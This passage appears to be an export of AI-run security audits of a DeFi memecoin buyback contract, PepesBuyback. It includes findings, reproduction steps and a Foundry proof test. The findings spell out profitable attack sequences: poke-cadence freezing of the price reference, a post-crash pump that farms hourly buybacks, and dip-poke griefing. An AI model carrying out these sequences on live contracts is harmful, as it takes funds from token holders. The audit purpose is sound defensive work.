     Proof: test/scratch/BuybackPokeTruncation.t.sol, both tests fail on commit 2560653 ('the reference must have followed the market', '863 s of drift budget must not be discarded') and pass with the full-precision step above.

     whole reproduction

   • mediumAfter a genuine price decline the reference stays above market for weeks and the pump-then-series sandwich (audit ec4e3ea7 finding 1) is open againcontracts/src/PepesBuyback.sol:131

     The guard in buybackAndBurnPepes (contracts/src/PepesBuyback.sol:147) only compares the current price with the reference from above: priceRiseBps() is 0 whenever the price is at or below the reference. poke() moves the reference toward the market symmetrically, at most 2%/day in either direction (line 131), and a buyback only rescales the reference by its own impact (line 163), which preserves the ratio reference/market. So after a genuine decline of X% nothing closes the gap faster than 2%/day: after a 50% drop the reference is 2x the market for about 35 days, after a 25% drop 1.33x for about 14 days. During that window an attacker can pump the price by up to (reference * 1.02 / market) - 1 without triggering PriceRisen, and the whole hourly series then buys into the pump. That is exactly the scenario audit ec4e3ea7 finding 1 and test_pumpThenSeriesStalls declare prevented ('a pump stalls the buyback until it is undone or has held for days'); the guarantee silently depends on the reference being at or below the market, which it is not after any real drop.

     Who loses: $Pepes holders. The buyback spends its IMD at pumped prices and burns fewer $Pepes; the attacker keeps roughly 30% of the IMD the buyback spent (numbers below). The precondition (a holder sells a large bag) is ordinary market behaviour for a memecoin, and the attacker needs no privilege; the profit is bounded by the reserve waiting in PepesBuyback, which is unbounded over time.

     Fix: let the reference follow a fall faster than a rise, but only on evidence the fall held across time so that the single-transaction dump bracket of audit b803125e finding 5 (sell, buyback, rebuy) still cannot pin it: keep the sqrtPrice sampled at the previous poke at least one hour earlier, and when both that sample and the current price are on the 'price fell' side of the reference, set the reference to the less extreme of the two instead of stepping 2%. The attached proof passes with that change and the existing nine tests in test/PepesBuyback.t.sol (including test_dumpBracketDoesNotStall and test_fallingPriceNeverBlocks) still pass with it. The tradeoff to decide: an attacker who holds a dump for an hour across two pokes can then move the reference down once; that costs selling into the pool at a loss for an hour, versus today's residual which costs nothing.

     whole finding

     State (test/PepesBuyback.t.sol setUp): bob holds the $Pepes bought with 1,000 IMD; PepesBuyback reference R = market. Steps: (1) one hour later bob sells 60% of his bag through the v1-style router (a genuine decline; the sqrtPrice moves from 2.38e31 to 1.58e32 in the IMD-is-currency0 orientation, i.e. the $Pepes price falls to ~2.3% of R in this thin test pool; any drop above ~4% suffices for some pump size). (2) poke() twice, an hour apart, as a keeper would. (3) 20% of the pool's IMD depth is minted to PepesBuyback as expired rewards. (4) eve buys 40% of depth (price x1.9), then calls buybackAndBurnPepes every hour for 24 hours, then sells everything.

     Expected (notice, test_pumpThenSeriesStalls): priceRiseBps after eve's pump is above 200, zero buybacks run into the pump, eve's balance is not above her start.

     Actual on commit 2560653: priceRiseBps after the pump is 0 (the reference is still above the pumped price), 14 buybacks run and spend 31.93 IMD, eve ends 9.63 IMD richer (30% of what the buyback spent) after paying both 4% fees.

     Proof: test/scratch/BuybackPostCrashResidual.t.sol fails on this code with 'no buyback into the pump: 14 != 0' and passes with the lagged-sample fix described above.

     whole reproduction

   • lowA rejected buyback attempt reverts its own poke, so the reference does not follow the market through 'every buyback' as documentedcontracts/src/PepesBuyback.sol:147

     buybackAndBurnPepes calls poke() on line 146 and then reverts with PriceRisen on line 147 when the price is more than 2% above the reference.

     The revert undoes the poke's storage writes (refSqrtPrice, refTime), so a stalled buyback never advances the reference on its own, contrary to the notice (lines 36-37, 'counting at most one day per update (poke, also run by every recycle and buyback)') and the test comment at test/PepesBuyback.t.sol:200 ('every recycle and buyback attempt'). The only callers that move the reference while stalled are explicit poke() transactions and PadToken.recycle.

     A keeper that simply retries buybackAndBurnPepes hourly, which is the natural integration, therefore never clears the stall; the reserve waits until someone else pokes. The same applies to the TooSoon and BadAmount reverts, which also discard the clock update.

     Fix: have the keeper (or the contract) poke in a call that does not revert, e.g. return 0 instead of reverting after poke() when the guard trips, or document that integrators must call poke() separately.

     whole finding

     State: 100 IMD in PepesBuyback, a third party buys 100 IMD of $Pepes (price ~+20%, priceRiseBps > 200). Warp 3 days. Call buybackAndBurnPepes(0, now).

     Expected per the notice: the call's poke moves the reference 2% toward the market (refTime = now) even though the buyback itself is rejected.

     Actual: the call reverts PriceRisen and afterwards refTime and refSqrtPrice equal their values from before the call (checked on commit 2560653 with the setUp of test/PepesBuyback.t.sol: refTime stays 1800000000 after the warp and the failed attempt). Repeating the attempt daily never makes it succeed.

     whole reproduction

   • infoGuard tests never update the reference at sub-864 s cadence nor from a reference above market, so both defects above are untestedcontracts/test/PepesBuyback.t.sol:211

     test_organicRiseOnlyDelays pokes once a day; test_dumpBracketDoesNotStall and the hourly-series tests update at exactly one hour; no test pokes at an interval below 864 s, and no test starts from a reference above the market (every scenario starts with reference == market or price below reference and immediately runs a buyback).

     The two states that break the stated guarantees (finding 1: pokes closer than 864 s; finding 2: a genuine decline followed by a pump) are therefore outside the suite.

     Suggested additions: (a) poke every N seconds for N in {1, 60, 800} over 10 days after a 10% rise and assert the buyback resumes within the documented window; (b) the pump-then-series scenario of test_pumpThenSeriesStalls run after a 60% sell plus hourly pokes, asserting runs == 0 and no attacker profit.

     Run forge test --match-path test/PepesBuyback.t.sol on commit 2560653: all 9 pass.

     Add either scratch test from findings 1 and 2 (test/scratch/BuybackPokeTruncation.t.sol, test/scratch/BuybackPostCrashResidual.t.sol): they fail.

     The existing suite does not exercise those inputs.

7. reviewed
   #244Audit flowClaude3 findings · 1 medium

   The review is complete. .imd-findings.json holds three findings, no tracked file was changed, and the full existing suite (125 unit tests) passes on the pinned commit.

   Findings written

   • Medium, contracts/src/PepesBuyback.sol:128. poke() rounds its step to whole basis points of sqrtPrice (dt / 864) but always resets refTime. Any poke less than 864 seconds after the previous one moves the reference by exactly zero while consuming the elapsed time, so a cadence faster than that freezes the reference. The proof test (test/scratch/PokeFreeze.t.sol) lifts the price about 5%, pokes every 800 seconds for 10 days, and shows the reference bit-for-bit unchanged and the buyback still reverting PriceRisen. It fails on this code and passes with a full-precision step (ref * 200 * dt / (2 days * 10_000)), which I verified by patching temporarily and restoring the file. A keeper that recycles every 10 minutes causes this by accident; a griefer does it for gas alone.
   • Low, PepesBuyback.sol:146. A PriceRisen revert rolls back the poke that preceded it, so a stalled buyback never follows the market from its own attempts. Ten daily failed attempts leave refSqrtPrice and refTime untouched. Liveness depends on someone calling poke() or a recycle happening, which the docs do not state.
   • Info, PepesBuyback.sol:131. Dip-poking quantified: with no other poker, one daily dump of about 1.2% of depth, poke, rebuy pins the reference 2% below market from day 2 on, for about 0.1% of depth per day in fees. The ratchet is not cumulative: the reference can never go below the dipped spot, so with a keeper poking every 6 hours and hourly 0.2% dips the gap saturated at 20 bps and 60 of 72 hourly buybacks ran. README already documents dips as a stall, so this is a confirmed trust assumption, not a defect.

   Questions answered without a finding

   • Repeated pokes during a pump slow or freeze the drift rather than accelerate it; the pumper cannot speed the reference toward their price. The residual after a genuine crash (reference above market) loosens the guard for the crash size plus 2% for crash/2% days, but the 1%-of-depth cap and 4% fee each way make sandwiching the buyback unprofitable regardless, as the existing pump tests show.
   • Low-level poke from recycle is safe. State is settled and IMD transferred before the call, recycle is non-reentrant, the callee only reads the v1 router, pad and PoolManager slot0, and a failing or out-of-gas poke cannot revert the recycle.
   • ETH-router hookData only reaches the token pool's swap; the IMD/ETH leg still passes empty hookData and that pool has no hook. The Trade event's trader is now the user for ETH-router trades, and markActive is only called on buys. A third-party router passing a forged address is ignored because the hook checks sender against its own routers.
   • No regression found in the v3 flash-borrow guards, the finding-3 receipt rule (covered by the gift, first-receipt, zero-transfer and exited-holder tests), or claim/reward solvency.

   Scratch tests live under contracts/test/scratch/ and are not part of the submission.

   ran onclaude · claude-fable-5-1 · 34 turns · 20m 45s · 770 in · 49.3K out · 2.6M cached

   submission42c45a075fb6d48edbf90d60a39b0809b1bf820a897ba469b6ef23152719e9e8

   device3a40eaafbd83a6bc57b859dab02a7e0ae1fcd12ca7afee73c0d6c380b94178e9

   started from25606530e1ef2f5f1b405e743067a6050a646808

   bundlenone

   changed · 0 filesnothing

   • mediumpoke() rounds its step to whole bps of sqrtPrice but always consumes the elapsed time: pokes under 864 s apart freeze the reference and stall the buyback indefinitelycontracts/src/PepesBuyback.sol:128

     poke() sets refTime = block.timestamp unconditionally (line 124) and then computes the allowed step as h = 200 * dt / (2 days) = dt / 864 whole basis points of sqrtPrice. For any dt < 864 seconds h == 0, so lo == hi == ref and the reference does not move, yet the elapsed time has been consumed.

     The documented guarantee (header lines 36-40, test_organicRiseOnlyDelays) is that the reference follows the market by 2%/day "whoever pokes and however often"; in fact the drift is a function of poke cadence, and a cadence faster than one poke per 864 s makes it exactly zero. poke is permissionless and is also run by every PadToken.recycle and every buybackAndBurnPepes attempt, so a keeper that recycles every 10 minutes freezes the reference by accident, and a griefer can do it on purpose for gas alone (about 100 transactions a day on an L2).

     Once the $Pepes price has risen more than 2% above the frozen reference for any organic reason, buybackAndBurnPepes reverts with PriceRisen on every call and the recycled IMD accumulates unspent for as long as the pokes continue. Honest pokes cannot help: they also reset refTime with h == 0, so they only make the freeze cheaper. Pokes between 864 s and a few thousand seconds apart lose a large fraction of the drift as well (dt = 1000 s gives h = 1 instead of 1.157).

     Fix: compute the step in full precision and never consume time that produced no movement, e.g. uint256 step = (ref * REF_STEP_PER_DAY_BPS * dt) / (2 * 1 days * 10_000); lo = ref - step; hi = ref + step; (ref < 2^160 so the product fits), or alternatively if (h == 0) return; before updating refTime. The attached proof passes with the first variant.

     whole finding

     State: PepesBuyback deployed against a priced $Pepes pool (as in test/PepesBuyback.t.sol setUp), 100 IMD in the buyback.

     Input: eve buys ~2.5% of depth (price +~5%, priceRiseBps ~485 > 200, buyback reverts PriceRisen); then anyone calls poke() every 800 seconds for 10 days (1080 calls).

     Expected: the reference follows the market at up to 2%/day, so within ~3 days priceRiseBps <= 200 and buybackAndBurnPepes succeeds (with the fix the test logs 0 bps after 10 days and the buyback runs).

     Actual: refSqrtPrice is bit-for-bit unchanged after 10 days, priceRiseBps is still 485 and buybackAndBurnPepes still reverts PriceRisen.

     Run: forge test --match-path test/scratch/PokeFreeze.t.sol

     whole reproduction

   • lowA PriceRisen revert rolls back the poke, so a stalled buyback never follows the market from its own attempts; liveness depends on someone calling poke()/recycle() explicitlycontracts/src/PepesBuyback.sol:146

     The header (line 37), README line 85 and the b803125e change notes say the reference is moved toward the market by poke, "also run by every recycle and buyback". Inside buybackAndBurnPepes the poke runs first and the guard reverts afterwards, so whenever the guard fails the poke's refSqrtPrice/refTime writes are undone with it.

     Exactly in the state the drift exists for (price more than 2% above the reference) a buyback attempt therefore moves nothing: the hourly keeper or user calling buybackAndBurnPepes can retry forever and the stall only ends when some other party calls poke() directly or a PadToken.recycle happens to run. Nothing in the contracts or routers calls poke() on a schedule; recycle only pokes when a holder's rewards have actually expired.

     Together with the frozen-time rounding (separate finding) this means the stated "organic rise is followed within days" holds only for an operator who runs an explicit poke job.

     Minimal fix: evaluate the guard without discarding the poke, e.g. poke(); if (priceRiseBps() > MAX_PRICE_RISE_BPS) { _locked = 1; emit BuybackSkipped(); return 0; } (callers already treat 0 burned as nothing done), or move the guard's poke into a separate first external call the keeper makes before the buyback. If the revert is kept, document that a stalled buyback requires explicit poke() calls and have the website/keeper make them.

     whole finding

     State: priced $Pepes pool, 100 IMD in the buyback, eve buys ~2.5% of depth (price +~5%, priceRiseBps 485).

     Input: call buybackAndBurnPepes(0, now) once a day for 10 days; nobody calls poke() or recycle().

     Expected (per docs 'every ... buyback runs poke', drift 2%/day): the reference has moved toward the market and by day 3 the buyback runs.

     Actual: every call reverts PriceRisen, refSqrtPrice and refTime are bit-for-bit unchanged after 10 days and priceRiseBps is still 485.

     Scratch test test_failedAttemptsDoNotMoveTheReference in test/scratch/DailyDip.t.sol (asserts refSqrtPrice == ref0 and refTime == time0 after 10 reverting attempts) passes on this code.

     whole reproduction

   • infoDip-poking: with no other poker, one ~1.2%-of-depth dump + poke + rebuy per day pins the reference ≥2% below market and stalls the buyback indefinitely for ~0.1% of depth per day in fees (documented dcontracts/src/PepesBuyback.sol:131

     Answer to the re-check question 'poking around a dip'. poke moves the reference toward whatever the spot price is in the poking transaction, bounded by 2%/day of elapsed time. An attacker who is the only poker can therefore realise the full daily step downward: after 1 day of silence, sell enough $Pepes to drop the price by more than 2% (about 1.2% of the pool's IMD depth), call poke (reference moves down the full 2%), rebuy in the same transaction.

     The price returns to market while the reference stays 2% lower; the next buyback reverts PriceRisen and the attacker repeats daily. Measured in the scratch test: stalled from day 2 onward, with 224 bps above reference held for days 2-5; eve's cost is 0.5% of her $Pepes bag per day (374,549 of a 15.46M-token bag over 5 days, bag = 20% of a 1,062 IMD depth), i.e. roughly 0.1% of depth per day, no capital at risk beyond the 8% round-trip fee.

     The ratchet is NOT cumulative: the reference can never be pushed below the dipped spot, so the gap after a cycle is min(dip depth, step for dt). With honest pokes every 6 hours and the attacker dipping 0.2% hourly the gap saturated at 18-20 bps and 60 of 72 hourly buybacks ran (test test_dipPokesWalkTheReferenceDown). So a keeper that calls poke() regularly (hourly) limits the attack to dips at least as deep as the gap it wants, which costs ~2% of depth per day of stall.

     README line 85 already states that dips 'stall the buyback instead of being sold into', so this is reported as a confirmed, quantified trust assumption, not a defect: stalling is a griefing cost with no gain for the attacker, and the 1%-of-depth cap plus 4% fee each way already make sandwiching unprofitable irrespective of the guard.

     Possible hardening, if wanted: make the downward drift follow only the buybacks' own impact plus a slow decay (so a dump cannot pull the reference) and accept that after a genuine crash the guard is loose for longer; or lift the stall after N consecutive days without a buyback.

     whole finding

     State: as in test/PepesBuyback.t.sol setUp, 1,000 IMD in the buyback, eve holds a bag bought with 20% of depth and the reference has caught up (30 daily pokes, priceRiseBps == 0).

     Input, once a day for 5 days, in one transaction by eve: routerA.sell(pepes, bag/16) (price -~2.4%), buyback.poke(), routerA.buy(pepes, ), then anyone calls buybackAndBurnPepes.

     Expected (if dips were harmless): the buyback runs every day.

     Actual: day 1 rise 182 bps and the buyback runs, days 2-5 rise 223-224 bps and every buyback reverts PriceRisen; eve has lost 374,549 $Pepes (0.5% of her bag per day) and no IMD.

     Scratch test test_dailyDipPokeStalls in test/scratch/DailyDip.t.sol.

     whole reproduction
8. reviewed
   #880Audit permissionsClaude5 findings · 2 high

   The review is complete. .imd-findings.json holds five findings, two of them high with Foundry proofs that fail on commit 2560653 and pass under a candidate fix. No repository file was changed; the only additions are my scratch tests under contracts/test/scratch/.

   Answers to the four questions

   • Can the ratchet be gamed? Yes, two ways. poke() at contracts/src/PepesBuyback.sol:128 computes the step as an integer in basis points, so any poke under 864 seconds after the previous one moves nothing but still resets the clock. Poking every 10 minutes froze the reference bit-for-bit for 30 days in the proof, with zero buybacks after a 20% organic rise. The notice's "followed at 2% a day" guarantee does not hold, and the burn can be stalled by anyone for gas only. Rated high.
   • The residual after a genuine crash is exploitable. The reference follows down only at 2% a day, so after a 35% sell-off a pump with half the pool's depth still passes the guard at PepesBuyback.sol:147. In the proof, with a full day of honest pokes and buybacks between the dump and the pump, all 24 hourly buybacks ran into eve's bag and she netted +136 IMD of the roughly 255 IMD the series spent. Rated high. The two findings compound: the freeze keeps the window open indefinitely. I tested a follow-down-at-once change locally and the proof passes with it; the description spells out the trade-off against the b803125e finding 5 stall, and offers a per-day spend cap as the alternative.
   • Repeated pokes during a pump and poking around a dip are bounded as designed. Two accepted residuals are recorded as low with measured numbers: a pre-buy inside the 2% band held across the series pays about 0.8% of what the series spends (46% on the stake, daily), and a one-transaction dump, poke, rebuy moves the reference 2% and stalls the buyback for about 0.16% of depth in fees.
   • The low-level poke from recycle is safe. The return value is ignored, the callee is immutable and only reads PoolManager state, recycle stays nonReentrant, and a reverting poke cannot block it. No finding.
   • ETH-router hookData has no side effects. Empty hookData still goes to the IMD/ETH pool, only the token-pool swaps carry the user, Trade.trader and markActive now receive the real user instead of tx.origin, and a third-party router cannot impersonate either router. Finding 3's receipt rule is correct and the v3 flash-borrow guards are intact. One info entry records the documented tx.origin asymmetry for ERC-4337 accounts on third-party routers.

   Coverage and limits. All 67 non-fork tests pass. Fork tests were skipped because they need an RPC. The access-control inventory across the four contracts found no unguarded state change; owner powers are limited to the fee recipient and future launch ticks. Slither was not run, per the task rules.

   ran onclaude · claude-fable-5-1 · 32 turns · 24m 14s · 674 in · 57.7K out · 2.5M cached

   submission8b2a82be9ba54e7dd2284ddd6cd944cdb3b61113f6d5e97c7e49c7b918033873

   device2c968e88904ec22bd5b436e37ebea0b565f7548d84ab140bb65b0acd2c0b7d42

   started from25606530e1ef2f5f1b405e743067a6050a646808

   bundlenone

   changed · 0 filesnothing

   • highPepesBuyback.poke() loses sub-864-second intervals to integer rounding: poking every 10 minutes freezes the reference indefinitelycontracts/src/PepesBuyback.sol:128

     poke() sets refTime = block.timestamp before computing the step, and the step h = (200 * dt) / (2 * 1 days) = dt / 864 is an integer in basis points of sqrtPrice. For any dt < 864 s it is 0, so lo == hi == ref and the reference does not move, yet the elapsed time has been consumed.

     For 864 <= dt < 1728 it is 1 bps instead of up to 1.99, so a poke cadence of ~28 minutes halves the drift. poke() is permissionless (and reachable through PadToken.recycle for every v4 token), so anyone can hold the reference at its current value for as long as they keep poking every <= 14 minutes, at the cost of gas only.

     Consequences: (a) after any organic rise above 2% the buyback never resumes while the pokes continue; the contract notice's guarantee 'an organic rise or fall is followed at 2% a day' does not hold, and the recycled IMD is stuck in the buyback (griefing/DoS of the burn, no capital required). (b) After a genuine fall (see the crash-residual finding) the same cadence keeps the reference above the market forever, so the farmable window never closes.

     (c) Honest high-frequency pokes (recycle bots running for several tokens minutes apart) waste the drift unintentionally.

     Fix: do not discard the remainder. Either compute h at 1e18 scale (h = REF_STEP_PER_DAY_BPS * dt * 1e14 / (2 days); lo/hi = mulDiv(ref, 1e18 -/+ h, 1e18)) so no measurable time is lost, or return before writing refTime when h == 0 and only advance refTime by the time actually consumed (refTime += h * 864). The 1e18-scale variant was tested locally and makes the proof test pass (9 buybacks in 30 days).

     whole finding

     State: $Pepes pool as in test/PepesBuyback.t.sol; 100 IMD in the buyback; eve buys 100 IMD of $Pepes (organic ~+20%, priceRiseBps > 1000, buyback reverts PriceRisen).

     Input: mallory calls poke() every 10 minutes for 30 days; an honest keeper calls buybackAndBurnPepes(0, now) every hour.

     Expected: the reference drifts 2%/day toward the market and the buyback resumes after ~10 days (test_organicRiseOnlyDelays shows this with daily pokes).

     Actual: refSqrtPrice is bit-identical after 30 days (23817539250915624842179591654741 before and after) and 0 buybacks ran.

     Proof: test/scratch/PokeFreeze.t.sol::test_frequentPokesFreezeTheReference fails on this code and passes with the 1e18-scale fix.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
     
     import {PepesFamily} from "src/PepesFamily.sol";
     import {PepesFamilyRouter} from "src/PepesFamilyRouter.sol";
     import {PepesBuyback} from "src/PepesBuyback.sol";
     import {PadToken} from "src/PadToken.sol";
     import {DeployLib} from "script/DeployLib.sol";
     
     contract ScratchIMD {
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 amt) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
             balanceOf[f] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     contract ScratchPepes is ScratchIMD {}
     
     /// @dev Stands in for the v1 router + pad only for launchpad A's own (unused) buyback wiring.
     contract ScratchPepesRouter {
         ScratchIMD immutable imd;
         ScratchPepes immutable pepes;
         PoolKey key;
     
         constructor(ScratchIMD imd_, ScratchPepes pepes_) {
             imd = imd_;
             pepes = pepes_;
         }
     
         function setKey(PoolKey memory k) external {
             key = k;
         }
     
         function pad() external view returns (address) {
             return address(this);
         }
     
         function poolKey(address) external view returns (PoolKey memory) {
             return key;
         }
     
         function buy(address token, uint256 amountIn, uint256 minOut, uint256 deadline) external payable returns (uint256 out) {
             require(token == address(pepes) && block.timestamp <= deadline, "bad");
             imd.transferFrom(msg.sender, address(this), amountIn);
             out = amountIn * 1000;
             require(out >= minOut, "slippage");
             pepes.mint(msg.sender, out);
         }
     }
     
     /// @notice Same arrangement as test/PepesBuyback.t.sol: "$Pepes" is a token on launchpad A (4% hook, single-sided
     ///         curve); launchpad B's PepesBuyback buys it through A's router.
     contract PokeFreezeProof is Test {
         uint160 constant FLAGS = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
     
         PoolManager pm;
         ScratchIMD imd;
         PepesFamily padA;
         PepesFamilyRouter routerA;
         PadToken pepes;
         PepesBuyback buyback;
     
         address eve = makeAddr("eve");
         address bob = makeAddr("bob");
         address mallory = makeAddr("mallory");
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new ScratchIMD();
     
             ScratchPepes mp = new ScratchPepes();
             ScratchPepesRouter mr = new ScratchPepesRouter(imd, mp);
             PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(pm);
             mp.mint(address(this), 10_000e18);
             imd.mint(address(this), 10_000e18);
             mp.approve(address(lp), type(uint256).max);
             imd.approve(address(lp), type(uint256).max);
             (address c0, address c1) = address(mp) < address(imd) ? (address(mp), address(imd)) : (address(imd), address(mp));
             PoolKey memory k = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 3000, 60, IHooks(address(0)));
             pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
             lp.modifyLiquidity(k, ModifyLiquidityParams(-887220, 887220, 1_000e18, 0), "");
             mr.setKey(k);
     
             padA = _deployPad(address(mp), address(mr));
             routerA = PepesFamilyRouter(payable(padA.router()));
             pepes = PadToken(payable(padA.launch("Pepes", "PEPES", "", address(imd))));
             imd.mint(bob, 10_000e18);
             vm.startPrank(bob);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             routerA.buy(address(pepes), 1_000e18, 0, block.timestamp);
             vm.stopPrank();
     
             PepesFamily padB = _deployPad(address(pepes), address(routerA));
             buyback = PepesBuyback(padB.buyback());
     
             imd.mint(eve, 10_000e18);
             vm.startPrank(eve);
             imd.approve(address(routerA), type(uint256).max);
             pepes.approve(address(routerA), type(uint256).max);
             vm.stopPrank();
         }
     
         function _deployPad(address pepes_, address pepesRouter_) internal returns (PepesFamily) {
             bytes memory initCode = abi.encodePacked(
                 type(PepesFamily).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     address(this),
                     address(this),
                     DeployLib.startTickForMarketCap(100e18),
                     PepesFamily.ImdEthPool(10_000, 100, address(0)),
                     pepes_,
                     pepesRouter_
                 )
             );
             (bytes32 salt, address expected) = DeployLib.mineSalt(address(this), FLAGS, initCode, 0);
             address deployed;
             assembly {
                 deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
             }
             require(deployed == expected, "hook address");
             return PepesFamily(deployed);
         }
     
         function _tryBuyback() internal returns (bool ok) {
             try buyback.buybackAndBurnPepes(0, block.timestamp) {
                 ok = true;
             } catch {}
         }
     
         function _depth() internal view returns (uint256) {
             return buyback.maxBuyback() * 100;
         }
     
         /// Finding: poke() with less than 864 s since the last poke computes h = 0, moves nothing, but still sets
         /// refTime = now. Poking every 10 minutes therefore freezes the reference for as long as the poker likes.
         /// Expected (contract notice): "an organic rise ... is followed at 2% a day"; here after an organic ~20% rise
         /// mallory pokes every 10 minutes and 30 days later the buyback still has not run once and the reference has
         /// not moved a single wei.
         function test_frequentPokesFreezeTheReference() public {
             imd.mint(address(buyback), 100e18);
             vm.prank(eve);
             routerA.buy(address(pepes), 100e18, 0, block.timestamp); // organic ~+20%, eve holds
             assertGt(buyback.priceRiseBps(), 1_000);
             uint160 refBefore = buyback.refSqrtPrice();
     
             uint256 runs;
             for (uint256 i; i < 30 days / 10 minutes; i++) {
                 vm.warp(block.timestamp + 10 minutes);
                 vm.prank(mallory);
                 buyback.poke();
                 if (i % 6 == 5 && _tryBuyback()) runs++; // an honest keeper tries every hour
             }
             emit log_named_uint("buybacks in 30 days under 10-minute pokes", runs);
             emit log_named_uint("ref before", refBefore);
             emit log_named_uint("ref after ", buyback.refSqrtPrice());
             assertGt(runs, 0, "a 20% organic rise must be followed within 30 days whatever the poke cadence");
         }
     }

     whole proof

   • highAfter a genuine price fall the reference stays far above the market and the 2% guard no longer bounds a pump: a 50%-of-depth pump farms the whole hourly seriescontracts/src/PepesBuyback.sol:147

     The guard is 'price <= reference x 1.02', and the reference follows the market down only at 2% per day (poke) or by the buybacks' own impact. After any third-party sell-off the reference sits above the market for days (a 75% fall needs ~70 days to be followed), and during that time a pump of up to (reference / market) x 1.02 passes the guard.

     That defeats the purpose stated in the notice ('a pump stalls the buyback until it is undone or has held for days'): the hourly series, 1% of depth each, runs into a position that was bought at the post-dump low, and the pumper exits into the IMD the buybacks inject.

     In the proof, with a full day of honest hourly pokes and buybacks between the dump and the pump, eve pumps with half the pool's IMD depth (more than doubling the price from the low), all 24 buybacks run, and she nets +136 IMD after the 4%+4% fees, i.e. about half of the ~255 IMD the series spent on burning. With the optimal pump (just under the guard) she nets +234 IMD on a 1078 IMD pump. Combined with the poke-rounding finding, the window can be held open indefinitely.

     A same-block back-run of a dump (dump and pump in one block, nothing observed in between) is a residual no spot-price reference can see; the mitigation for it is economic. Fix options, each a design decision: (1) follow a lower $Pepes price at once in poke() (next = cur when the price is below the reference; mind the orientation: when imdIsCurrency0 a lower $Pepes price is a higher sqrtPrice) and keep the slow 2%/day on the way up.

     This re-admits the single-transaction dump-poke-rebuy stall of audit b803125e finding 5 (a one-day stall for ~8% fees on the dumped amount, no profit to the attacker) which is the less damaging side of the trade-off; the proof passes with this change (0 buybacks run into the pump, eve -41.6 IMD).

     (2) Bound what the series can spend per rolling day (e.g. <= 3% of depth, the contract's own single-transaction sandwich argument applied over the holding horizon) so holding a pump across the series costs more in fees than it captures, whatever the reference. (3) Both.

     whole finding

     State: $Pepes pool as in test/PepesBuyback.t.sol (bob holds a 1,000 IMD position), buyback funded with 100% of depth (~1,062 IMD), one buyback run so the reference is fresh.

     Input: bob sells 35% of his bag (priceRiseBps becomes 0: reference above market).

     24 hours pass with poke() and buybackAndBurnPepes(0, now) called every hour (honest keepers; the buybacks run at the low).

     Then eve buys with depth/2 = 531 IMD in one swap (priceRiseBps still 0), calls buybackAndBurnPepes every hour for 24 hours, and sells everything.

     Expected: a pump of that size stalls the series (test_pumpThenSeriesStalls asserts 0 runs for a 40%-of-depth pump when the reference tracks the market) and 'front-running the buyback must not pay'.

     Actual: 24 of 24 buybacks run into the pump; eve's IMD balance ends at 10,136.35 from 10,000 (P&L +136.35 IMD).

     Proof: test/scratch/CrashResidual.t.sol::test_crashResidualLetsAPumpFarmTheSeries fails on this code; with the follow-down-at-once change it passes (runs = 0, eve P&L -41.6 IMD).

     whole reproduction

   • lowA pre-buy that stays inside the 2% band and is held across the hourly series pays ~0.8% of what the series spends (46% on the stake) every daycontracts/src/PepesBuyback.sol:67

     The guard tolerates a price up to 2% above the reference, and after each buyback the reference follows the buyback's own impact while hourly pokes close the remaining gap by ~8 bps (price) per hour. A single pre-buy that lifts the price by just under 2% therefore never stalls the series: every hourly buyback runs and the pre-buyer's bag appreciates by ~2% per buyback.

     Measured on this code with the reference at the market: eve buys 0.5% of depth (priceRiseBps 95), all 24 buybacks run (289 IMD spent), eve sells after 24 hours for a net +2.42 IMD on a 5.3 IMD stake after both 4% fees. The absolute leak is small (~0.8% of the IMD burned, about 1.6% for a pump at the top of the band) but it is risk-light, permissionless and repeatable daily, so a bot will take it.

     This is within the design's stated tolerance; it is reported so the tolerance is a conscious choice.

     Mitigations: a smaller band (e.g. 1%) with a correspondingly slower drift, or a daily cap on what the series spends (which also addresses the crash-residual finding).

     whole finding

     State: $Pepes pool as in test/PepesBuyback.t.sol, buyback funded with 100% of depth, one buyback run (fresh reference).

     Input: eve buys depth/200 (5.31 IMD) of $Pepes, then calls buybackAndBurnPepes(0, now) every hour for 24 hours, then sells her bag.

     Expected: holding a pre-buy across the series does not pay.

     Actual: 24/24 buybacks run, series spends 289.18 IMD, eve's P&L is +2.4215 IMD (test/scratch/BracketCost.t.sol::test_inBandPreBuyResidual, log output).

   • lowpoke() reads the spot price: a one-transaction dump, poke, rebuy takes the whole elapsed-time budget in the bracketer's direction and stalls the buyback for ~0.16% of depth in feescontracts/src/PepesBuyback.sol:125

     poke() moves the reference toward whatever the pool's sqrtPrice is at that instant, by up to 2% (price) for a day of elapsed time. Nothing requires the price to persist, and poke() is not blocked while the PoolManager is unlocked, so the same bracket can be run from inside an unlock with flash-accounted funds.

     A holder who sells 2% of depth, pokes, and buys back in the same transaction moves the reference ~2% below the market (priceRiseBps 354 > 200) and stalls the buyback until the drift undoes it a day later; the only cost is the 4%+4% hook fee on the dumped amount (~0.16% of depth per day). Honest pokes compete for the same elapsed-time budget, so with infrequent recycles the bracketer wins most of it.

